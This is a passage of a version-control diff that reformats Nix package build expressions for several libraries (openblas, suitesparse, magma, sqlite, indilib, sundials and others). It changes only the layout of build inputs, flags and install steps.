-  nativeBuildInputs =
-    [
-      cmake
-      wrapQtAppsNoGuiHook
-    ]
-    ++ lib.optionals (withGstreamer || withOmemo) [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    cmake
+    wrapQtAppsNoGuiHook
+  ]
+  ++ lib.optionals (withGstreamer || withOmemo) [
+    pkg-config
+  ];
   buildInputs =
     lib.optionals withGstreamer (
       with gst_all_1;
@@ -47,17 +46,16 @@ stdenv.mkDerivation rec {
       qca
       libomemo-c
     ];
-  cmakeFlags =
-    [
-      "-DBUILD_EXAMPLES=false"
-      "-DBUILD_TESTS=false"
-    ]
-    ++ lib.optionals withGstreamer [
-      "-DWITH_GSTREAMER=ON"
-    ]
-    ++ lib.optionals withOmemo [
-      "-DBUILD_OMEMO=ON"
-    ];
+  cmakeFlags = [
+    "-DBUILD_EXAMPLES=false"
+    "-DBUILD_TESTS=false"
+  ]
+  ++ lib.optionals withGstreamer [
+    "-DWITH_GSTREAMER=ON"
+  ]
+  ++ lib.optionals withOmemo [
+    "-DBUILD_OMEMO=ON"
+  ];
 
   meta = with lib; {
     description = "Cross-platform C++ XMPP client and server library";
diff --git a/pkgs/development/libraries/readline/7.0.nix b/pkgs/development/libraries/readline/7.0.nix
index 273f8fdd7543..8973f6087783 100644
--- a/pkgs/development/libraries/readline/7.0.nix
+++ b/pkgs/development/libraries/readline/7.0.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation rec {
   patches = [
     ./link-against-ncurses.patch
     ./no-arch_only-6.3.patch
-  ] ++ upstreamPatches;
+  ]
+  ++ upstreamPatches;
 
   meta = with lib; {
     description = "Library for interactive line editing";
diff --git a/pkgs/development/libraries/science/astronomy/indilib/default.nix b/pkgs/development/libraries/science/astronomy/indilib/default.nix
index 8a4ca2f65cde..fa9aaa755f47 100644
--- a/pkgs/development/libraries/science/astronomy/indilib/default.nix
+++ b/pkgs/development/libraries/science/astronomy/indilib/default.nix
@@ -47,15 +47,14 @@ stdenv.mkDerivation (finalAttrs: {
     fftw
   ];
 
-  cmakeFlags =
-    [
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DUDEVRULES_INSTALL_DIR=lib/udev/rules.d"
-    ]
-    ++ lib.optional finalAttrs.finalPackage.doCheck [
-      "-DINDI_BUILD_UNITTESTS=ON"
-      "-DINDI_BUILD_INTEGTESTS=ON"
-    ];
+  cmakeFlags = [
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DUDEVRULES_INSTALL_DIR=lib/udev/rules.d"
+  ]
+  ++ lib.optional finalAttrs.finalPackage.doCheck [
+    "-DINDI_BUILD_UNITTESTS=ON"
+    "-DINDI_BUILD_INTEGTESTS=ON"
+  ];
 
   checkInputs = [ gtest ];
 
diff --git a/pkgs/development/libraries/science/astronomy/indilib/indi-3rdparty.nix b/pkgs/development/libraries/science/astronomy/indilib/indi-3rdparty.nix
index eb1673875ddb..d4b365e5348e 100644
--- a/pkgs/development/libraries/science/astronomy/indilib/indi-3rdparty.nix
+++ b/pkgs/development/libraries/science/astronomy/indilib/indi-3rdparty.nix
@@ -69,24 +69,24 @@ let
 
         sourceRoot = "${src.name}/${pname}";
 
-        cmakeFlags =
-          [
-            "-DCMAKE_INSTALL_LIBDIR=lib"
-            "-DUDEVRULES_INSTALL_DIR=lib/udev/rules.d"
-            "-DRULES_INSTALL_DIR=lib/udev/rules.d"
-            "-DINDI_DATA_DIR=share/indi/"
-          ]
-          ++ lib.optional doCheck [
-            "-DINDI_BUILD_UNITTESTS=ON"
-            "-DINDI_BUILD_INTEGTESTS=ON"
-          ]
-          ++ cmakeFlags;
+        cmakeFlags = [
+          "-DCMAKE_INSTALL_LIBDIR=lib"
+          "-DUDEVRULES_INSTALL_DIR=lib/udev/rules.d"
+          "-DRULES_INSTALL_DIR=lib/udev/rules.d"
+          "-DINDI_DATA_DIR=share/indi/"
+        ]
+        ++ lib.optional doCheck [
+          "-DINDI_BUILD_UNITTESTS=ON"
+          "-DINDI_BUILD_INTEGTESTS=ON"
+        ]
+        ++ cmakeFlags;
 
         nativeBuildInputs = [
           cmake
           ninja
           pkg-config
-        ] ++ nativeBuildInputs;
+        ]
+        ++ nativeBuildInputs;
 
         checkInputs = [ gtest ];
 
diff --git a/pkgs/development/libraries/science/math/magma/generic.nix b/pkgs/development/libraries/science/math/magma/generic.nix
index 3ce4d9a7bf66..0ef5e1abed08 100644
--- a/pkgs/development/libraries/science/math/magma/generic.nix
+++ b/pkgs/development/libraries/science/math/magma/generic.nix
@@ -117,76 +117,73 @@ stdenv.mkDerivation (finalAttrs: {
     patchShebangs ./testing/run_{tests,summarize}.py
   '';
 
-  nativeBuildInputs =
-    [
-      autoPatchelfHook
-      cmake
-      ninja
-      gfortran
-    ]
-    ++ lists.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    autoPatchelfHook
+    cmake
+    ninja
+    gfortran
+  ]
+  ++ lists.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+  ];
 
-  buildInputs =
+  buildInputs = [
+    libpthreadstubs
+    lapack
+    blas
+    python3
+    (getLib gfortran.cc) # libgfortran.so
+  ]
+  ++ lists.optionals cudaSupport (
+    with cudaPackages;
     [
-      libpthreadstubs
-      lapack
-      blas
-      python3
-      (getLib gfortran.cc) # libgfortran.so
+      cuda_cccl # <nv/target> and <cuda/std/type_traits>
+      cuda_cudart # cuda_runtime.h
+      libcublas # cublas_v2.h
+      libcusparse # cusparse.h
     ]
-    ++ lists.optionals cudaSupport (
-      with cudaPackages;
-      [
-        cuda_cccl # <nv/target> and <cuda/std/type_traits>
-        cuda_cudart # cuda_runtime.h
-        libcublas # cublas_v2.h
-        libcusparse # cusparse.h
-      ]
-      ++ lists.optionals (cudaOlder "11.8") [
-        cuda_nvprof # <cuda_profiler_api.h>
-      ]
-      ++ lists.optionals (cudaAtLeast "11.8") [
-        cuda_profiler_api # <cuda_profiler_api.h>
-      ]
-    )
-    ++ lists.optionals rocmSupport (
-      with rocmPackages;
-      [
-        clr
-        hipblas
-        hipsparse
-        llvm.openmp
-      ]
-    );
+    ++ lists.optionals (cudaOlder "11.8") [
+      cuda_nvprof # <cuda_profiler_api.h>
+    ]
+    ++ lists.optionals (cudaAtLeast "11.8") [
+      cuda_profiler_api # <cuda_profiler_api.h>
+    ]
+  )
+  ++ lists.optionals rocmSupport (
+    with rocmPackages;
+    [
+      clr
+      hipblas
+      hipsparse
+      llvm.openmp
+    ]
+  );
 
-  cmakeFlags =
-    [
-      (strings.cmakeFeature "GPU_TARGET" gpuTargetString)
-      (strings.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
-      (strings.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
-      (strings.cmakeBool "BUILD_SHARED_LIBS" (!static))
-      # Set the Fortran name mangling scheme explicitly. We must set FORTRAN_CONVENTION manually because it will
-      # otherwise not be set in NVCC_FLAGS or DEVCCFLAGS (which we cannot modify).
-      # See https://github.com/NixOS/nixpkgs/issues/281656#issuecomment-1902931289
-      (strings.cmakeBool "USE_FORTRAN" true)
-      (strings.cmakeFeature "CMAKE_C_FLAGS" "-DADD_")
-      (strings.cmakeFeature "CMAKE_CXX_FLAGS" "-DADD_")
-      (strings.cmakeFeature "FORTRAN_CONVENTION" "-DADD_")
-    ]
-    ++ lists.optionals cudaSupport [
-      (strings.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString)
-      (strings.cmakeFeature "MIN_ARCH" minArch) # Disarms magma's asserts
-    ]
-    ++ lists.optionals rocmSupport [
-      # Can be removed once https://github.com/icl-utk-edu/magma/pull/27 is merged
-      # Can't easily apply the PR as a patch because we rely on the tarball with pregenerated
-      # hipified files ∴ fetchpatch of the PR will apply cleanly but fail to build
-      (strings.cmakeFeature "ROCM_CORE" "${rocmPackages.clr}")
-      (strings.cmakeFeature "CMAKE_C_COMPILER" "${rocmPackages.clr}/bin/hipcc")
-      (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${rocmPackages.clr}/bin/hipcc")
-    ];
+  cmakeFlags = [
+    (strings.cmakeFeature "GPU_TARGET" gpuTargetString)
+    (strings.cmakeBool "MAGMA_ENABLE_CUDA" cudaSupport)
+    (strings.cmakeBool "MAGMA_ENABLE_HIP" rocmSupport)
+    (strings.cmakeBool "BUILD_SHARED_LIBS" (!static))
+    # Set the Fortran name mangling scheme explicitly. We must set FORTRAN_CONVENTION manually because it will
+    # otherwise not be set in NVCC_FLAGS or DEVCCFLAGS (which we cannot modify).
+    # See https://github.com/NixOS/nixpkgs/issues/281656#issuecomment-1902931289
+    (strings.cmakeBool "USE_FORTRAN" true)
+    (strings.cmakeFeature "CMAKE_C_FLAGS" "-DADD_")
+    (strings.cmakeFeature "CMAKE_CXX_FLAGS" "-DADD_")
+    (strings.cmakeFeature "FORTRAN_CONVENTION" "-DADD_")
+  ]
+  ++ lists.optionals cudaSupport [
+    (strings.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString)
+    (strings.cmakeFeature "MIN_ARCH" minArch) # Disarms magma's asserts
+  ]
+  ++ lists.optionals rocmSupport [
+    # Can be removed once https://github.com/icl-utk-edu/magma/pull/27 is merged
+    # Can't easily apply the PR as a patch because we rely on the tarball with pregenerated
+    # hipified files ∴ fetchpatch of the PR will apply cleanly but fail to build
+    (strings.cmakeFeature "ROCM_CORE" "${rocmPackages.clr}")
+    (strings.cmakeFeature "CMAKE_C_COMPILER" "${rocmPackages.clr}/bin/hipcc")
+    (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${rocmPackages.clr}/bin/hipcc")
+  ];
 
   # Magma doesn't have a test suite we can easily run, just loose executables, all of which require a GPU.
   doCheck = false;
diff --git a/pkgs/development/libraries/science/math/openblas/default.nix b/pkgs/development/libraries/science/math/openblas/default.nix
index a34127d3e2dc..c7ef9de9b7d4 100644
--- a/pkgs/development/libraries/science/math/openblas/default.nix
+++ b/pkgs/development/libraries/science/math/openblas/default.nix
@@ -192,22 +192,21 @@ stdenv.mkDerivation rec {
   # In either case, OpenBLAS must only be used by trusted code--it is
   # inherently unsuitable for security-conscious applications--so there should
   # be no objection to disabling these hardening measures.
-  hardeningDisable =
-    [
-      # don't modify or move the stack
-      "stackprotector"
-      "pic"
-      # don't alter index arithmetic
-      "strictoverflow"
-      # don't interfere with dynamic target detection
-      "relro"
-      "bindnow"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # "__builtin_clear_padding not supported for variable length aggregates"
-      # in aarch64-specific code
-      "trivialautovarinit"
-    ];
+  hardeningDisable = [
+    # don't modify or move the stack
+    "stackprotector"
+    "pic"
+    # don't alter index arithmetic
+    "strictoverflow"
+    # don't interfere with dynamic target detection
+    "relro"
+    "bindnow"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # "__builtin_clear_padding not supported for variable length aggregates"
+    # in aarch64-specific code
+    "trivialautovarinit"
+  ];
 
   nativeBuildInputs = [
     perl
@@ -264,40 +263,39 @@ stdenv.mkDerivation rec {
   doCheck = true;
   checkTarget = "tests";
 
-  postInstall =
-    ''
-          # Write pkgconfig aliases. Upstream report:
-          # https://github.com/OpenMathLib/OpenBLAS/issues/1740
-          for alias in blas cblas lapack; do
-            cat <<EOF > $out/lib/pkgconfig/$alias.pc
-      Name: $alias
-      Version: ${version}
-      Description: $alias provided by the OpenBLAS package.
-      Cflags: -I$dev/include
-      Libs: -L$out/lib -lopenblas
-      EOF
-          done
+  postInstall = ''
+        # Write pkgconfig aliases. Upstream report:
+        # https://github.com/OpenMathLib/OpenBLAS/issues/1740
+        for alias in blas cblas lapack; do
+          cat <<EOF > $out/lib/pkgconfig/$alias.pc
+    Name: $alias
+    Version: ${version}
+    Description: $alias provided by the OpenBLAS package.
+    Cflags: -I$dev/include
+    Libs: -L$out/lib -lopenblas
+    EOF
+        done
 
-          # Setup symlinks for blas / lapack
-    ''
-    + lib.optionalString enableShared ''
-      ln -s $out/lib/libopenblas${shlibExt} $out/lib/libblas${shlibExt}
-      ln -s $out/lib/libopenblas${shlibExt} $out/lib/libcblas${shlibExt}
-      ln -s $out/lib/libopenblas${shlibExt} $out/lib/liblapack${shlibExt}
-      ln -s $out/lib/libopenblas${shlibExt} $out/lib/liblapacke${shlibExt}
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isLinux && enableShared) ''
-      ln -s $out/lib/libopenblas${shlibExt} $out/lib/libblas${shlibExt}.3
-      ln -s $out/lib/libopenblas${shlibExt} $out/lib/libcblas${shlibExt}.3
-      ln -s $out/lib/libopenblas${shlibExt} $out/lib/liblapack${shlibExt}.3
-      ln -s $out/lib/libopenblas${shlibExt} $out/lib/liblapacke${shlibExt}.3
-    ''
-    + lib.optionalString enableStatic ''
-      ln -s $out/lib/libopenblas.a $out/lib/libblas.a
-      ln -s $out/lib/libopenblas.a $out/lib/libcblas.a
-      ln -s $out/lib/libopenblas.a $out/lib/liblapack.a
-      ln -s $out/lib/libopenblas.a $out/lib/liblapacke.a
-    '';
+        # Setup symlinks for blas / lapack
+  ''
+  + lib.optionalString enableShared ''
+    ln -s $out/lib/libopenblas${shlibExt} $out/lib/libblas${shlibExt}
+    ln -s $out/lib/libopenblas${shlibExt} $out/lib/libcblas${shlibExt}
+    ln -s $out/lib/libopenblas${shlibExt} $out/lib/liblapack${shlibExt}
+    ln -s $out/lib/libopenblas${shlibExt} $out/lib/liblapacke${shlibExt}
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isLinux && enableShared) ''
+    ln -s $out/lib/libopenblas${shlibExt} $out/lib/libblas${shlibExt}.3
+    ln -s $out/lib/libopenblas${shlibExt} $out/lib/libcblas${shlibExt}.3
+    ln -s $out/lib/libopenblas${shlibExt} $out/lib/liblapack${shlibExt}.3
+    ln -s $out/lib/libopenblas${shlibExt} $out/lib/liblapacke${shlibExt}.3
+  ''
+  + lib.optionalString enableStatic ''
+    ln -s $out/lib/libopenblas.a $out/lib/libblas.a
+    ln -s $out/lib/libopenblas.a $out/lib/libcblas.a
+    ln -s $out/lib/libopenblas.a $out/lib/liblapack.a
+    ln -s $out/lib/libopenblas.a $out/lib/liblapacke.a
+  '';
 
   passthru.tests = {
     inherit (python3.pkgs) numpy scipy scikit-learn;
diff --git a/pkgs/development/libraries/science/math/p4est-sc/default.nix b/pkgs/development/libraries/science/math/p4est-sc/default.nix
index bab98a1e1cfb..1e16ae94c704 100644
--- a/pkgs/development/libraries/science/math/p4est-sc/default.nix
+++ b/pkgs/development/libraries/science/math/p4est-sc/default.nix
@@ -45,10 +45,11 @@ stdenv.mkDerivation {
     ${lib.optionalString mpiSupport "unset CC"}
   '';
 
-  configureFlags =
-    [ "--enable-pthread=-pthread" ]
-    ++ lib.optional debugEnable "--enable-debug"
-    ++ lib.optional mpiSupport "--enable-mpi";
+  configureFlags = [
+    "--enable-pthread=-pthread"
+  ]
+  ++ lib.optional debugEnable "--enable-debug"
+  ++ lib.optional mpiSupport "--enable-mpi";
 
   dontDisableStatic = true;
   enableParallelBuilding = true;
diff --git a/pkgs/development/libraries/science/math/suitesparse/4.4.nix b/pkgs/development/libraries/science/math/suitesparse/4.4.nix
index 98a1d4599f4c..b62c9a8f46ea 100644
--- a/pkgs/development/libraries/science/math/suitesparse/4.4.nix
+++ b/pkgs/development/libraries/science/math/suitesparse/4.4.nix
@@ -23,36 +23,35 @@ stdenv.mkDerivation rec {
     sha256 = "1zdn1y0ij6amj7smmcslkqgbqv9yy5cwmbyzqc9v6drzdzllgbpj";
   };
 
-  preConfigure =
-    ''
-      mkdir -p $out/lib
-      mkdir -p $out/include
+  preConfigure = ''
+    mkdir -p $out/lib
+    mkdir -p $out/include
 
-      sed -i "SuiteSparse_config/SuiteSparse_config.mk" \
-          -e 's/METIS .*$/METIS =/' \
-          -e 's/METIS_PATH .*$/METIS_PATH =/' \
-          -e '/CHOLMOD_CONFIG/ s/$/-DNPARTITION -DLONGBLAS=${int_t}/' \
-          -e '/UMFPACK_CONFIG/ s/$/-DLONGBLAS=${int_t}/'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i "SuiteSparse_config/SuiteSparse_config.mk" \
-          -e 's/^[[:space:]]*\(LIB = -lm\) -lrt/\1/'
-    ''
-    + lib.optionalString enableCuda ''
-      sed -i "SuiteSparse_config/SuiteSparse_config.mk" \
-          -e 's|^[[:space:]]*\(CUDA_ROOT     =\)|CUDA_ROOT = ${cudatoolkit}|' \
-          -e 's|^[[:space:]]*\(GPU_BLAS_PATH =\)|GPU_BLAS_PATH = $(CUDA_ROOT)|' \
-          -e 's|^[[:space:]]*\(GPU_CONFIG    =\)|GPU_CONFIG = -I$(CUDA_ROOT)/include -DGPU_BLAS -DCHOLMOD_OMP_NUM_THREADS=$(NIX_BUILD_CORES) |' \
-          -e 's|^[[:space:]]*\(CUDA_PATH     =\)|CUDA_PATH = $(CUDA_ROOT)|' \
-          -e 's|^[[:space:]]*\(CUDART_LIB    =\)|CUDART_LIB = $(CUDA_ROOT)/lib64/libcudart.so|' \
-          -e 's|^[[:space:]]*\(CUBLAS_LIB    =\)|CUBLAS_LIB = $(CUDA_ROOT)/lib64/libcublas.so|' \
-          -e 's|^[[:space:]]*\(CUDA_INC_PATH =\)|CUDA_INC_PATH = $(CUDA_ROOT)/include/|' \
-          -e 's|^[[:space:]]*\(NV20          =\)|NV20 = -arch=sm_20 -Xcompiler -fPIC|' \
-          -e 's|^[[:space:]]*\(NV30          =\)|NV30 = -arch=sm_30 -Xcompiler -fPIC|' \
-          -e 's|^[[:space:]]*\(NV35          =\)|NV35 = -arch=sm_35 -Xcompiler -fPIC|' \
-          -e 's|^[[:space:]]*\(NVCC          =\) echo|NVCC = $(CUDA_ROOT)/bin/nvcc|' \
-          -e 's|^[[:space:]]*\(NVCCFLAGS     =\)|NVCCFLAGS = $(NV20) -O3 -gencode=arch=compute_20,code=sm_20 -gencode=arch=compute_30,code=sm_30 -gencode=arch=compute_35,code=sm_35 -gencode=arch=compute_60,code=sm_60|'
-    '';
+    sed -i "SuiteSparse_config/SuiteSparse_config.mk" \
+        -e 's/METIS .*$/METIS =/' \
+        -e 's/METIS_PATH .*$/METIS_PATH =/' \
+        -e '/CHOLMOD_CONFIG/ s/$/-DNPARTITION -DLONGBLAS=${int_t}/' \
+        -e '/UMFPACK_CONFIG/ s/$/-DLONGBLAS=${int_t}/'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i "SuiteSparse_config/SuiteSparse_config.mk" \
+        -e 's/^[[:space:]]*\(LIB = -lm\) -lrt/\1/'
+  ''
+  + lib.optionalString enableCuda ''
+    sed -i "SuiteSparse_config/SuiteSparse_config.mk" \
+        -e 's|^[[:space:]]*\(CUDA_ROOT     =\)|CUDA_ROOT = ${cudatoolkit}|' \
+        -e 's|^[[:space:]]*\(GPU_BLAS_PATH =\)|GPU_BLAS_PATH = $(CUDA_ROOT)|' \
+        -e 's|^[[:space:]]*\(GPU_CONFIG    =\)|GPU_CONFIG = -I$(CUDA_ROOT)/include -DGPU_BLAS -DCHOLMOD_OMP_NUM_THREADS=$(NIX_BUILD_CORES) |' \
+        -e 's|^[[:space:]]*\(CUDA_PATH     =\)|CUDA_PATH = $(CUDA_ROOT)|' \
+        -e 's|^[[:space:]]*\(CUDART_LIB    =\)|CUDART_LIB = $(CUDA_ROOT)/lib64/libcudart.so|' \
+        -e 's|^[[:space:]]*\(CUBLAS_LIB    =\)|CUBLAS_LIB = $(CUDA_ROOT)/lib64/libcublas.so|' \
+        -e 's|^[[:space:]]*\(CUDA_INC_PATH =\)|CUDA_INC_PATH = $(CUDA_ROOT)/include/|' \
+        -e 's|^[[:space:]]*\(NV20          =\)|NV20 = -arch=sm_20 -Xcompiler -fPIC|' \
+        -e 's|^[[:space:]]*\(NV30          =\)|NV30 = -arch=sm_30 -Xcompiler -fPIC|' \
+        -e 's|^[[:space:]]*\(NV35          =\)|NV35 = -arch=sm_35 -Xcompiler -fPIC|' \
+        -e 's|^[[:space:]]*\(NVCC          =\) echo|NVCC = $(CUDA_ROOT)/bin/nvcc|' \
+        -e 's|^[[:space:]]*\(NVCCFLAGS     =\)|NVCCFLAGS = $(NV20) -O3 -gencode=arch=compute_20,code=sm_20 -gencode=arch=compute_30,code=sm_30 -gencode=arch=compute_35,code=sm_35 -gencode=arch=compute_60,code=sm_60|'
+  '';
 
   makeFlags = [
     "PREFIX=\"$(out)\""
diff --git a/pkgs/development/libraries/science/math/suitesparse/default.nix b/pkgs/development/libraries/science/math/suitesparse/default.nix
index adb5b196a34b..df867ee42121 100644
--- a/pkgs/development/libraries/science/math/suitesparse/default.nix
+++ b/pkgs/development/libraries/science/math/suitesparse/default.nix
@@ -36,15 +36,14 @@ effectiveStdenv.mkDerivation rec {
     sha256 = "sha256-Anen1YtXsSPhk8DpA4JtADIz9m8oXFl9umlkb4iImf8=";
   };
 
-  nativeBuildInputs =
-    [
-    ]
-    ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ]
-    ++ lib.optionals enableCuda [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+  ]
+  ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ]
+  ++ lib.optionals enableCuda [
+    cudaPackages.cuda_nvcc
+  ];
 
   # Use compatible indexing for lapack and blas used
   buildInputs =
@@ -71,39 +70,37 @@ effectiveStdenv.mkDerivation rec {
     sed -i "Makefile" -e '/GraphBLAS\|Mongoose/d'
   '';
 
-  makeFlags =
-    [
-      "INSTALL=${placeholder "out"}"
-      "INSTALL_INCLUDE=${placeholder "dev"}/include"
-      "JOBS=$(NIX_BUILD_CORES)"
-      "MY_METIS_LIB=-lmetis"
-    ]
-    ++ lib.optionals blas.isILP64 [
-      "CFLAGS=-DBLAS64"
-    ]
-    ++ lib.optionals enableCuda [
-      "CUDA_PATH=${cudaPackages.cuda_nvcc}"
-      "CUDART_LIB=${lib.getLib cudaPackages.cuda_cudart}/lib/libcudart.so"
-      "CUBLAS_LIB=${lib.getLib cudaPackages.libcublas}/lib/libcublas.so"
-    ]
-    ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [
-      # Unless these are set, the build will attempt to use `Accelerate` on darwin, see:
-      # https://github.com/DrTimothyAldenDavis/SuiteSparse/blob/v5.13.0/SuiteSparse_config/SuiteSparse_config.mk#L368
-      "BLAS=-lblas"
-      "LAPACK=-llapack"
-    ];
+  makeFlags = [
+    "INSTALL=${placeholder "out"}"
+    "INSTALL_INCLUDE=${placeholder "dev"}/include"
+    "JOBS=$(NIX_BUILD_CORES)"
+    "MY_METIS_LIB=-lmetis"
+  ]
+  ++ lib.optionals blas.isILP64 [
+    "CFLAGS=-DBLAS64"
+  ]
+  ++ lib.optionals enableCuda [
+    "CUDA_PATH=${cudaPackages.cuda_nvcc}"
+    "CUDART_LIB=${lib.getLib cudaPackages.cuda_cudart}/lib/libcudart.so"
+    "CUBLAS_LIB=${lib.getLib cudaPackages.libcublas}/lib/libcublas.so"
+  ]
+  ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [
+    # Unless these are set, the build will attempt to use `Accelerate` on darwin, see:
+    # https://github.com/DrTimothyAldenDavis/SuiteSparse/blob/v5.13.0/SuiteSparse_config/SuiteSparse_config.mk#L368
+    "BLAS=-lblas"
+    "LAPACK=-llapack"
+  ];
 
-  env =
-    {
-      # in GCC14 these two warnings were promoted to error
-      # let's make them warnings again to fix the build failure
-      NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration -Wno-error=incompatible-pointer-types";
-    }
-    // lib.optionalAttrs effectiveStdenv.hostPlatform.isDarwin {
-      # Ensure that there is enough space for the `fixDarwinDylibNames` hook to
-      # update the install names of the output dylibs.
-      NIX_LDFLAGS = "-headerpad_max_install_names";
-    };
+  env = {
+    # in GCC14 these two warnings were promoted to error
+    # let's make them warnings again to fix the build failure
+    NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration -Wno-error=incompatible-pointer-types";
+  }
+  // lib.optionalAttrs effectiveStdenv.hostPlatform.isDarwin {
+    # Ensure that there is enough space for the `fixDarwinDylibNames` hook to
+    # update the install names of the output dylibs.
+    NIX_LDFLAGS = "-headerpad_max_install_names";
+  };
 
   buildFlags = [
     # Build individual shared libraries, not demos
diff --git a/pkgs/development/libraries/science/math/trilinos/default.nix b/pkgs/development/libraries/science/math/trilinos/default.nix
index 25de281cffb4..45331a18cc98 100644
--- a/pkgs/development/libraries/science/math/trilinos/default.nix
+++ b/pkgs/development/libraries/science/math/trilinos/default.nix
@@ -82,7 +82,8 @@ stdenv.mkDerivation rec {
     boost
     lapack
     suitesparse
-  ] ++ lib.optionals withMPI [ mpi ];
+  ]
+  ++ lib.optionals withMPI [ mpi ];
 
   preConfigure =
     if withMPI then
diff --git a/pkgs/development/libraries/science/networking/ns-3/default.nix b/pkgs/development/libraries/science/networking/ns-3/default.nix
index a252d24f4bc9..e41e6bc7b6f4 100644
--- a/pkgs/development/libraries/science/networking/ns-3/default.nix
+++ b/pkgs/development/libraries/science/networking/ns-3/default.nix
@@ -151,7 +151,8 @@ stdenv.mkDerivation rec {
     "-DNS3_ASSERT=ON"
     "-DNS3_GTK3=ON"
     "-DGTK3_GLIBCONFIG_INCLUDE_DIR=${glib.out}/lib/glib-2.0/include"
-  ] ++ lib.optional doCheck "-DNS3_TESTS=ON";
+  ]
+  ++ lib.optional doCheck "-DNS3_TESTS=ON";
 
   # strictoverflow prevents clang from discovering pyembed when bindings
   hardeningDisable = [
diff --git a/pkgs/development/libraries/silgraphite/graphite2.nix b/pkgs/development/libraries/silgraphite/graphite2.nix
index cef47a396da7..8e56d3b70dd4 100644
--- a/pkgs/development/libraries/silgraphite/graphite2.nix
+++ b/pkgs/development/libraries/silgraphite/graphite2.nix
@@ -30,13 +30,14 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     cmake
   ];
-  buildInputs =
-    [ freetype ]
-    ++ lib.optional (stdenv.targetPlatform.useLLVM or false) (
-      llvmPackages.compiler-rt.override {
-        doFakeLibgcc = true;
-      }
-    );
+  buildInputs = [
+    freetype
+  ]
+  ++ lib.optional (stdenv.targetPlatform.useLLVM or false) (
+    llvmPackages.compiler-rt.override {
+      doFakeLibgcc = true;
+    }
+  );
 
   patches = lib.optionals stdenv.hostPlatform.isDarwin [ ./macosx.patch ];
   postPatch = ''
diff --git a/pkgs/development/libraries/sqlite/default.nix b/pkgs/development/libraries/sqlite/default.nix
index 830f43fd1711..abde663e2d7d 100644
--- a/pkgs/development/libraries/sqlite/default.nix
+++ b/pkgs/development/libraries/sqlite/default.nix
@@ -68,12 +68,13 @@ stdenv.mkDerivation rec {
     updateAutotoolsGnuConfigScriptsHook
     unzip
   ];
-  buildInputs =
-    [ zlib ]
-    ++ lib.optionals interactive [
-      readline
-      ncurses
-    ];
+  buildInputs = [
+    zlib
+  ]
+  ++ lib.optionals interactive [
+    readline
+    ncurses
+  ];
 
   # required for aarch64 but applied for all arches for simplicity
   preConfigure = ''
diff --git a/pkgs/development/libraries/sqlite/sqlar.nix b/pkgs/development/libraries/sqlite/sqlar.nix
index 7b6b41c7900d..943b8d44527b 100644
--- a/pkgs/development/libraries/sqlite/sqlar.nix
+++ b/pkgs/development/libraries/sqlite/sqlar.nix
@@ -26,15 +26,15 @@ stdenv.mkDerivation {
   buildFlags = [
     "CFLAGS=-Wno-error"
     "sqlar"
-  ] ++ lib.optional withFuse "sqlarfs";
+  ]
+  ++ lib.optional withFuse "sqlarfs";
 
-  installPhase =
-    ''
-      install -D -t $out/bin sqlar
-    ''
-    + lib.optionalString withFuse ''
-      install -D -t $out/bin sqlarfs
-    '';
+  installPhase = ''
+    install -D -t $out/bin sqlar
+  ''
+  + lib.optionalString withFuse ''
+    install -D -t $out/bin sqlarfs
+  '';
 
   meta = with lib; {
     homepage = "https://sqlite.org/sqlar";
diff --git a/pkgs/development/libraries/sundials/default.nix b/pkgs/development/libraries/sundials/default.nix
index 82fceb3ccad5..441d3cfdda14 100644
--- a/pkgs/development/libraries/sundials/default.nix
+++ b/pkgs/development/libraries/sundials/default.nix
@@ -31,47 +31,45 @@ stdenv.mkDerivation rec {
     gfortran
   ];
 
-  buildInputs =
-    [
-      python3
-    ]
-    ++
-      lib.optionals (lapackSupport)
-        # Check that the same index size is used for both libraries
-        (
-          assert (blas.isILP64 == lapack.isILP64);
-          [
-            blas
-            lapack
-          ]
-        )
-    # KLU support is based on Suitesparse. It is tested upstream according to the
-    # section 1.1.4.2 of INSTALL_GUIDE.pdf found in the source tarball.
-    ++ lib.optionals (kluSupport) [
-      suitesparse
-    ];
-
-  cmakeFlags =
-    [
-      "-DEXAMPLES_INSTALL_PATH=${placeholder "examples"}/share/examples"
-    ]
-    ++ lib.optionals (lapackSupport) [
-      "-DENABLE_LAPACK=ON"
-      "-DLAPACK_LIBRARIES=${lapack}/lib/liblapack${stdenv.hostPlatform.extensions.sharedLibrary}"
-    ]
-    ++ lib.optionals (kluSupport) [
-      "-DENABLE_KLU=ON"
-      "-DKLU_INCLUDE_DIR=${suitesparse.dev}/include"
-      "-DKLU_LIBRARY_DIR=${suitesparse}/lib"
-    ]
-    ++ [
+  buildInputs = [
+    python3
+  ]
+  ++
+    lib.optionals (lapackSupport)
+      # Check that the same index size is used for both libraries
       (
-        # Use the correct index type according to lapack and blas used. They are
-        # already supposed to be compatible but we check both for extra safety. 64
-        # should be the default but we prefer to be explicit, for extra safety.
-        if blas.isILP64 then "-DSUNDIALS_INDEX_SIZE=64" else "-DSUNDIALS_INDEX_SIZE=32"
